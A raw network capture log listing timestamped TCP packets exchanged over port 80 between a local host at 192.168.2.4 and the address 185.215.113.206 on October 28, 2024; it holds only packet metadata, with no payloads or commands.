Oct 28, 2024 08:17:17.302951097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.303224087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.303258896 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.303277016 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.303280115 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.303288937 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.303299904 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.303311110 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.303317070 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.303339958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347012043 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347065926 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347165108 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347177982 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347209930 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347223043 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347702980 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347714901 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347727060 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347770929 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347778082 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347790003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347800016 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.347820044 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347820044 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347836018 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.347995043 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.348006010 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.348016024 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.348043919 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.348043919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.348053932 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.348057032 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.348067045 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.348081112 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.348102093 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.348325014 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.392082930 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.392095089 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.392105103 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.392157078 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.392170906 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.411140919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.411161900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.411173105 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.411206007 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.411241055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.411271095 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.411282063 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.411290884 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.411326885 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.411340952 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416596889 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416645050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416682005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416698933 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416709900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416719913 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416732073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416739941 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416748047 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416770935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416866064 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416878939 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416889906 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416899920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416908026 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416918039 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.416964054 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416979074 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.416997910 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417009115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417018890 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417035103 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417042017 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417052031 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417054892 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417079926 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417098999 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417361021 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417372942 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417391062 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417402029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417407036 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417414904 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417417049 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417433977 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417458057 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417627096 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417666912 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417675972 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417679071 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417705059 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417718887 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417737961 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417749882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417758942 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417778969 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417788029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417812109 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417821884 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.417828083 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417839050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.417870998 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418097973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418109894 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418123960 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418150902 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418170929 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418253899 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418265104 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418275118 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418287992 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418302059 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418306112 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418323040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418334007 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418642044 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418656111 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418673992 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418684959 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418697119 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.418708086 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.418735027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464601040 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464641094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464656115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464668036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464669943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464683056 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464687109 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464694023 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464704990 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464705944 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464731932 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464766979 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464780092 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464797020 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464813948 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464818954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464818954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464821100 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464826107 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464883089 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464900970 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464911938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464924097 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464932919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.464942932 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464956045 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.464983940 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.507699966 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.507710934 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.507720947 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.507746935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.507782936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.526422977 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.526443005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.526452065 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.526468039 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.526492119 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.526495934 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.526521921 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.526542902 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.526567936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532012939 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532025099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532035112 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532052040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532075882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532088995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532098055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532111883 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532118082 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532144070 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532155991 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532243967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532253027 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532289028 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532299042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532308102 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532310009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532321930 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532340050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532352924 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532377958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532413960 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532452106 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532454014 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532464027 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532489061 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532500029 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532501936 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532511950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532529116 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532536983 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532538891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532547951 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532552958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532574892 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532598019 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532871008 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532913923 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532924891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532939911 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532959938 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532964945 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532974005 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.532977104 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532985926 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.532996893 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533003092 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533010960 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533035040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533075094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533086061 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533096075 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533107042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533112049 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533117056 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533133984 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533159971 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533653975 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533695936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533703089 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533713102 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533749104 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533762932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533778906 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533788919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533791065 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533807993 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533835888 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533843994 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533847094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533864975 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533873081 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533875942 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533886909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533895016 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533898115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533907890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533910036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.533916950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.533941984 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.577894926 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.577907085 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.577918053 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.577961922 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.577989101 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.578608990 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.578655958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.578666925 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.578686953 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.578706026 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.578718901 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.579193115 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579237938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579241991 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.579250097 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579268932 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.579281092 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.579339981 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579353094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579365015 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579375982 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579386950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.579391003 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.579432011 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.579432011 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.618899107 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.618913889 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.619014978 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.622669935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.622736931 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.622744083 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.622755051 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.622797012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.622809887 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.641741991 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.641752005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.641762972 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.641801119 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.641820908 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.641833067 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.641834021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.641875029 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647459030 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647512913 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647514105 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647526026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647552013 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647577047 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647607088 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647618055 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647629976 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647645950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647656918 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647667885 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647667885 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647692919 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647706032 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647777081 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647787094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647797108 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647826910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647826910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647840023 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647851944 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647861004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647872925 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647886038 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647917032 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.647938967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.647979975 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648011923 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648051023 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648082018 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648092985 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648101091 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648145914 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648242950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648288012 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648319960 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648330927 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648339987 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648355961 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648369074 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648458004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648502111 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648509026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648526907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648554087 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648562908 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648581028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648591042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648600101 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648611069 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648621082 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648646116 CET	49734	80	192.168.2.4	185.215.113.206
